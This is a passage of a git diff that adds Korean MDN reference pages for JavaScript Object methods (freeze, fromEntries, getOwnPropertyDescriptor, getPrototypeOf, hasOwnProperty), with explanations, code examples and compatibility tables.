+<p>동결 객체의 속성 집합에는 어떠한 것도 추가하거나 제거할 수 없으며, 그리 하려는 모든 시도는 조용히 넘어가거나, {{jsxref("TypeError")}} 예외가 발생하며 실패합니다. 예외 발생은 보통 {{jsxref("Strict_mode", "엄격 모드", "", 1)}}인 경우 발생하지만, 반드시 엄격 모드로만 제한되는 것은 아닙니다.</p>
+
+<p>동결 객체가 가진 데이터 속성에 대해선, 값을 변경할 수 없으며 설정 가능 여부와 쓰기 가능 여부 속성 모두 거짓이 됩니다. 접근자 속성(접근자와 설정자)도 동일하게 동작합니다(또한 값을 변경하고 있다는 환상을 줍니다). 수정되는 값이 객체이고 동결된 것이 아니라면 여전히 수정이 가능함을 유의하세요. 객체로써, 배열도 동결될 수 있습니다. 동결한 이후에는 그 엘리먼트를 변경할 수 없으며 배열에 어떠한 엘리먼트도 추가하거나 제거할 수 없습니다.</p>
+
+<p><code>freeze()</code>는 함수에 전달한 객체를 그대로 반환하며, 동결된 객체 사본을 생성하는 것이 아닙니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="객체_동결하기">객체 동결하기</h3>
+
+<pre class="brush: js">var obj = {
+ prop: function() {},
+ foo: 'bar'
+};
+
+// 동결 이전: 새 속성을 추가할 수 있고,
+// 기존 속성을 변경하거나 제거할 수 있음
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// 동결
+var o = Object.freeze(obj);
+
+// 반환 값은 전달된 객체와 동일함.
+o === obj; // true
+
+// 객체가 동결 상태가 됨.
+Object.isFrozen(obj); // === true
+
+// 이제 모든 변경 시도는 실패함
+obj.foo = 'quux'; // 조용하게 아무것도 하지 않음
+// 조용하게 속성을 추가하지 않음
+obj.quaxxor = 'the friendly duck';
+
+// 엄격 모드에서는 이러한 시도에 대해 TypeError 발생
+function fail(){
+ 'use strict';
+ obj.foo = 'sparky'; // TypeError 발생
+ delete obj.foo; // TypeError 발생
+ delete obj.quaxxor; // 'quaxxor' 속성은 추가된 적이 없으므로 true 반환
+ obj.sparky = 'arf'; // TypeError 발생
+}
+
+fail();
+
+// Object.defineProperty를 통한 변경 시도
+// 아래 두 구문 모두에서 TypeError 발생
+Object.defineProperty(obj, 'ohai', { value: 17 });
+Object.defineProperty(obj, 'foo', { value: 'eit' });
+
+// 프로토타입을 변경하는 것 또한 불가함
+// 아래 두 구문 모두에서 TypeError 발생
+Object.setPrototype(obj, { x: 20 });
+obj.__proto__ = { x: 20 };
+
+</pre>
+
+<h3 id="배열_동결">배열 동결</h3>
+
+<pre class="brush: js">let a = [0];
+Object.freeze(a); // 이제 배열을 수정할 수 없음.
+
+a[0]=1; // 조용하게 실패
+a.push(2); // 조용하게 실패
+
+// 엄격 모드에서는 이런 시도에 대해 TypeError 발생
+function fail() {
+ "use strict"
+ a[0] = 1;
+ a.push(2);
+}
+
+fail();</pre>
+
+<p>동결된 객체는 변경할 수 없습니다. 하지만, 꼭 그렇지만은 않습니다. 다음 예제는 동결된 객체가 변경될 수 있음을(얕은 동결) 보여줍니다.</p>
+
+<pre class="brush: js">obj = {
+ internal: {}
+};
+
+Object.freeze(obj);
+obj.internal.a = 'aValue';
+
+obj.internal.a // 'aValue'
+</pre>
+
+<p>변경될 수 없는 객체가 되려면, 모든 참조 그래프(다른 객체로의 직간접적 참조)가 오로지 불변의 동결 객체만을 참조해야 합니다. 동결된 객체는 객체 내의 모든 상태(다른 객체로의 값과 참조)가 고정되기 때문에 불변하다고 합니다. 문자열, 숫자, 불리언 값은 언제나 불변하고, 함수와 배열은 객체임을 유의하세요.</p>
+
+<h4 id="얕은_동결이_무엇인가요">"얕은 동결"이 무엇인가요?</h4>
+
+<p><code>Object.freeze(object)</code> 호출의 결과는 <code>object</code> 스스로의 직속 속성에만 적용되며, <code>object</code>에 대해서만 속성 추가, 제거, 재할당 연산을 방지합니다. 만약 그 속성의 값이 객체라면, 그 객체는 동결되지 않으며 속성 추가, 제거, 재할당의 대상이 될 수 있습니다.</p>
+
+<pre class="brush: js">var employee = {
+ name: "Mayank",
+ designation: "Developer",
+ address: {
+ street: "Rohini",
+ city: "Delhi"
+ }
+};
+
+Object.freeze(employee);
+
+employee.name = "Dummy"; // 비엄격 모드에서 조용하게 실패
+employee.address.city = "Noida"; // 자식 객체의 속성은 수정 가능
+
+console.log(employee.address.city) // 출력: "Noida"
+</pre>
+
+<p>객체를 불변하게 만들려면, 각 객체 타입의 속성을 재귀적으로 동결해야합니다(깊은 동결). 객체가 그 참조 그래프에서 {{interwiki("wikipedia", "Cycle_(graph_theory)", "순환")}}을 포함하지 않는다는 것을 인지하고 있을 때, 디자인을 기반으로 상황에 따라 패턴을 적용해야하며, 그렇지 않을 경우 반복문이 무한히 실행될 수 있습니다. <code>deepFreeze()</code>에 대한 개선은 객체가 불변하게 되는 과정에 있을 때 <code>deepFreeze()</code>의 재귀적인 호출을 차단할 수 있도록 경로(예, 배열) 인자를 받는 내부 함수를 소유하는 것입니다. [window]와 같은, 동결되면 안되는 객체를 동결하는 것에 대한 위험은 여전히 남아 있습니다.</p>
+
+<pre class="brush: js">function deepFreeze(object) {
+
+ // 객체에 정의된 속성명을 추출
+ var propNames = Object.getOwnPropertyNames(object);
+
+ // 스스로를 동결하기 전에 속성을 동결
+
+ for (let name of propNames) {
+ let value = object[name];
+
+ object[name] = value &amp;&amp; typeof value === "object" ?
+ deepFreeze(value) : value;
+ }
+
+ return Object.freeze(object);
+}
+
+var obj2 = {
+ internal: {
+ a: null
+ }
+};
+
+deepFreeze(obj2);
+
+obj2.internal.a = 'anotherValue'; // 비엄격 모드에서 조용하게 실패
+obj2.internal.a; // null
+</pre>
+
+<h2 id="Notes" name="Notes">사용 노트</h2>
+
+<p>ES5에서는, 이 메소드에 대한 인자가 객체(원시형)가 아닐 경우, {{jsxref("TypeError")}}가 발생합니다. ES2015에서는, 비객체 인자가 동결된 평범한 객체인것처럼 다루어져 반환됩니다.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.freeze(1)
+1 // ES2015 code
+</pre>
+
+<p>엘리먼트를 갖는 {{domxref("ArrayBufferView")}}는 메모리를 통한 뷰이므로 다른 가능한 문제를 유발 할 수 있어 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<pre class="brush: js">&gt; Object.freeze(new Uint8Array(0)) // 엘리먼트가 없음
+Uint8Array []
+
+&gt; Object.freeze(new Uint8Array(1)) // 엘리먼트를 가짐
+TypeError: Cannot freeze array buffer views with elements
+
+&gt; Object.freeze(new DataView(new ArrayBuffer(32))) // 엘리먼트가 없음
+DataView {}
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 63, 0)) // 엘리먼트가 없음
+Float64Array []
+
+&gt; Object.freeze(new Float64Array(new ArrayBuffer(64), 32, 2)) // 엘리먼트를 가짐
+TypeError: Cannot freeze array buffer views with elements</pre>
+
+<p>세 가지 표준 속성(<code>buf.byteLength</code>, <code>buf.byteOffset</code>, <code>buf.buffer</code>)은 읽기 전용(이들은 {jsxref("ArrayBuffer")}} 또는 {{jsxref("SharedArrayBuffer")}}이므로)이므로, 이러한 속성에 대해 동결을 시도할 이유가 없음을 유의합니다.</p>
+
+<h3 id="Object.seal과의_비교"><code>Object.seal()</code>과의 비교</h3>
+
+<p>{{jsxref("Object.seal()")}}을 사용해 봉인된 객체는 존재하는 속성을 변경할 수 있습니다. <code>Object.freeze()</code>로 동결된 객체에서는 존재하는 속성이 불변입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html
new file mode 100644
index 0000000000..4d74fc326a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/fromentries/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.fromEntries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.fromEntries()</strong></code> 메서드는 키값 쌍의 목록을 객체로 바꿉니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.fromEntries(<var>iterable</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>반복 가능한 객체. 즉, {{jsxref("Array")}}, {{jsxref("Map")}} 또는 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">반복 규약</a>을 구현한 기타 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성의 키와 값을 반복 가능한 객체에서 가져온 새로운 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.fromEntries()</code> 메서드는 키값 쌍 목록을 받고, 그 목록을 사용해 속성을 부여한 새로운 객체를 반환합니다. <code>iterable</code> 인자는 <code>@@iterator</code> 메서드를 구현하여 반복기 객체를 반환해야 하고, 그 반복기는 또 배열 형태의 객체로 요소 2개를 반환해야 합니다. 반환된 요소 중 첫 번째는 생성할 객체의 속성 키로, 두 번째는 속성 값으로 사용합니다.</p>
+
+<p><code>Object.fromEntries()</code>는{{jsxref("Object.entries()")}}의 역을 수행합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map에서_Object로"><code>Map</code>에서 <code>Object</code>로</h3>
+
+<pre class="brush: js">const map = new Map([ ['foo', 'bar'], ['baz', 42] ]);
+const obj = Object.fromEntries(map);
+console.log(obj); // { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Array에서_Object로"><code>Array</code>에서 <code>Object</code>로</h3>
+
+<pre class="brush: js">const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
+const obj = Object.fromEntries(arr);
+console.log(obj); // { 0: "a", 1: "b", 2: "c" }
+</pre>
+
+<h3 id="객체_변환">객체 변환</h3>
+
+<p><code>Object.fromEntries()</code>와 그 역인 {{jsxref("Object.entries()")}}, 그리고 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array#메서드_2">배열 변형 메서드</a>를 통해 객체를 변환할 수 있습니다.</p>
+
+<pre class="brush: js">const object1 = { a: 1, b: 2, c: 3 };
+
+const object2 = Object.fromEntries(
+ Object.entries(object1)
+ .map(([ key, val ]) =&gt; [ key, val * 2 ])
+);
+
+console.log(object2);
+// { a: 2, b: 4, c: 6 }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-object-from-entries/">https://tc39.github.io/proposal-object-from-entries</a></td>
+ <td>Stage 3</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.fromEntries")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html b/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..c3be0cbaae
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+tags:
+ - ECMAScript5
+ - JavaScript
+ - Method
+ - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.getOwnPropertyDescriptor()</strong></code> 메서드는 주어진 객체 <dfn>자신의 속성</dfn>(즉, 객체에 직접 제공하는 속성, 객체의 프로토타입 체인을 따라 존재하는 덕택에 제공하는 게 아닌)에 대한 속성 설명자(descriptor)를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>속성을 찾을 대상 객체.</dd>
+ <dt><code>prop</code></dt>
+ <dd>설명이 검색될 속성명.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>객체에 존재하는 경우 주어진 속성의 속성 설명자, 없으면 {{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 정확한 속성 설명의 검사를 허용합니다. JavaScript에서 <dfn>속성</dfn>은 문자열 값인 이름과 속성 설명자로 구성됩니다. 속성 설명자 유형과 attribute에 관한 자세한 정보는 {{jsxref("Object.defineProperty()")}}에서 찾을 수 있습니다.</p>
+
+<p><dfn>속성 설명자</dfn>는 다음 attribute 중 일부의 기록입니다:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>속성과 관련된 값 (데이터 설명자만).</dd>
+ <dt><code><strong>writable</strong></code></dt>
+ <dd>속성과 관련된 값이 변경될 수 있는 경우에만 <code>true</code> (데이터 설명자만).</dd>
+ <dt><code>get</code></dt>
+ <dd>속성에 대해 getter로서 제공하는 함수 또는 getter가 없는 경우 {{jsxref("undefined")}} (접근자 설명자만).</dd>
+ <dt><code>set</code></dt>
+ <dd>속성에 대해 setter로서 제공하는 함수 또는 setter가 없는 경우 {{jsxref("undefined")}} (접근자 설명자만).</dd>
+ <dt><code>configurable</code></dt>
+ <dd>이 속성 설명자의 유형이 바뀔 수 있는 경우에만 그리고 속성이 해당 객체에서 삭제될 수 있는 경우 <code>true</code>.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>이 속성이 해당 객체의 속성 열거 중에 나타나는 경우에만 <code>true</code>.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js">var o, d;
+
+o = { get foo() { return 17; } };
+d = Object.getOwnPropertyDescriptor(o, 'foo');
+// d는 { configurable: true, enumerable: true, get: /* getter 함수 */, set: undefined }
+
+o = { bar: 42 };
+d = Object.getOwnPropertyDescriptor(o, 'bar');
+// d는 { configurable: true, enumerable: true, value: 42, writable: true }
+
+o = {};
+Object.defineProperty(o, 'baz', { value: 8675309, writable: false, enumerable: false });
+d = Object.getOwnPropertyDescriptor(o, 'baz');
+// d는 { value: 8675309, writable: false, enumerable: false, configurable: false }
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 첫 번째 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 첫 번째 인수는 먼저 객체로 강제됩니다.</p>
+
+<pre class="brush: js">Object.getOwnPropertyDescriptor("foo", 0);
+// TypeError: "foo"는 객체가 아닙니다 // ES5 코드
+
+Object.getOwnPropertyDescriptor("foo", 0);
+// {configurable:false, enumerable:true, value:"f", writable:false} // ES6 코드
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}</p>
+</div>
+</div>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html
new file mode 100644
index 0000000000..12a65e24de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/getprototypeof/index.html
@@ -0,0 +1,134 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+tags:
+ - ECMAScript5
+ - JavaScript
+ - Method
+ - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.getPrototypeOf()</strong></code> 메서드는 지정된 객체의 프로토타입(가령 내부 <code>[[Prototype]]</code> 속성값)을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>자신의 프로토타입이 반환되는 객체.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, <code>obj</code> 매개변수가 객체가 아닌 경우 {{jsxref("TypeError")}} 예외가 발생합니다. ES6에서, 매개변수는 {{jsxref("Object")}}로 강제됩니다.</p>
+
+<pre class="brush: js">Object.getPrototypeOf("foo");
+// TypeError: "foo"는 객체가 아닙니다 (ES5 코드)
+Object.getPrototypeOf("foo");
+// String.prototype (ES6 코드)
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("5")}}</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("12.10")}}</td>
+ <td>{{CompatSafari("5")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Opera_전용_주의사항">Opera 전용 주의사항</h2>
+
+<p>이전 Opera 버전이 <code>Object.getPrototypeOf()</code>를 아직 지원하지 않지만, Opera는 Opera 10.50 이후로 비표준 {{jsxref("Object.proto", "__proto__")}} 속성을 지원합니다.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>John Resig의 <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a> 포스트</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html
new file mode 100644
index 0000000000..40a544043c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/hasownproperty/index.html
@@ -0,0 +1,146 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>hasOwnProperty()</strong></code> 메소드는 객체가 특정 프로퍼티를 가지고 있는지를  나타내는 불리언 값을 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>obj</var>.hasOwnProperty(<var>prop</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>테스트하려는 프로퍼티의 명칭</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 <code>hasOwnProperty</code> 를 상속하는 {{jsxref("Object")}}의 자식이다. 이 메소드는 객체가 특정 프로퍼티를 자기만의 직접적인 프로퍼티로서 소유하고 있는지를 판단하는데 사용된다.  {{jsxref("Operators/in", "in")}} 연산과는 다르게, 이 메소드는 객체의 프로토타입 체인을 확인하지는 않는다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="프로퍼티의_존재_여부를_테스트하기_위한_hasOwnProperty의_사용">프로퍼티의 존재 여부를 테스트하기 위한 <code>hasOwnProperty</code>의 사용</h3>
+
+<p>다음은 o 객체가 prop라는 명칭을 지닌 프로퍼티를 포함하는지를 판단하는 예제이다.</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+
+function changeO() {
+ o.newprop = o.prop;
+ delete o.prop;
+}
+
+o.hasOwnProperty('prop'); // returns true
+changeO();
+o.hasOwnProperty('prop'); // returns false
+</pre>
+
+<h3 id="직접_프로퍼티와_상속된_프로퍼티의_비교">직접 프로퍼티와 상속된 프로퍼티의 비교</h3>
+
+<p>다음은 직접 프로퍼티와 프로토타입 체인에서 상속된 프로퍼티 간의 차이점을 비교하는 예제이다.</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+o.hasOwnProperty('prop'); // returns true
+o.hasOwnProperty('toString'); // returns false
+o.hasOwnProperty('hasOwnProperty'); // returns false
+</pre>
+
+<h3 id="객체의_프로퍼티들을_순환하기">객체의 프로퍼티들을 순환하기</h3>
+
+<p>The following example shows how to iterate over the properties of an object without executing on inherit properties. Note that the {{jsxref("Statements/for...in", "for...in")}} loop is already only iterating enumerable items, so one should not assume based on the lack of non-enumerable properties shown in the loop that <code>hasOwnProperty</code> itself is confined strictly to enumerable items (as with {{jsxref("Object.getOwnPropertyNames()")}}).</p>
+
+<pre class="brush: js">var buz = {
+ fog: 'stack'
+};
+
+for (var name in buz) {
+ if (buz.hasOwnProperty(name)) {
+ console.log('this is fog (' + name + ') for sure. Value: ' + buz[name]);
+ }
+ else {
+ console.log(name); // toString or something else
+ }
+}
+</pre>
+
+<h3 id="프로퍼티의_명칭으로서_hasOwnProperty_를_사용하기">프로퍼티의 명칭으로서 <code>hasOwnProperty </code>를 사용하기</h3>
+
+<p>자바스크립트는 프로퍼티 명칭으로서 <code>hasOwnProperty</code>를 보호하지 않습니다. 그러므로, 이 명칭을 사용하는 프로퍼티를 가지는 객체가 존재하려면,  올바른 결과들을 얻기 위해서는 외부 <code>hasOwnProperty</code> 를 사용해야합니다.</p>
+
+<pre class="brush: js">var foo = {
+ hasOwnProperty: function() {
+ return false;
+ },
+ bar: 'Here be dragons'
+};
+
+foo.hasOwnProperty('bar'); // always returns false
+
+// Use another Object's hasOwnProperty and call it with 'this' set to foo
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// It's also possible to use the hasOwnProperty property from the Object prototype for this purpose
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>Note that in the last case there are no newly created objects.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisited</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/index.html b/files/ko/web/javascript/reference/global_objects/object/index.html
new file mode 100644
index 0000000000..ce7e6c6603
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/index.html
@@ -0,0 +1,177 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Global_Objects/Object
+tags:
+ - Constructor
+ - JavaScript
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object</code></strong> 생성자는 객체 래퍼(wrapper)를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">// 객체 초기자 또는 리터럴
+{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
+
+// 생성자
+new Object([<var>value</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
+ <dd>콜론으로 나뉘어져 있는 키(문자열)와 값(어떤 값이나 가능)의 쌍.</dd>
+ <dt><code>value</code></dt>
+ <dd>아무 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
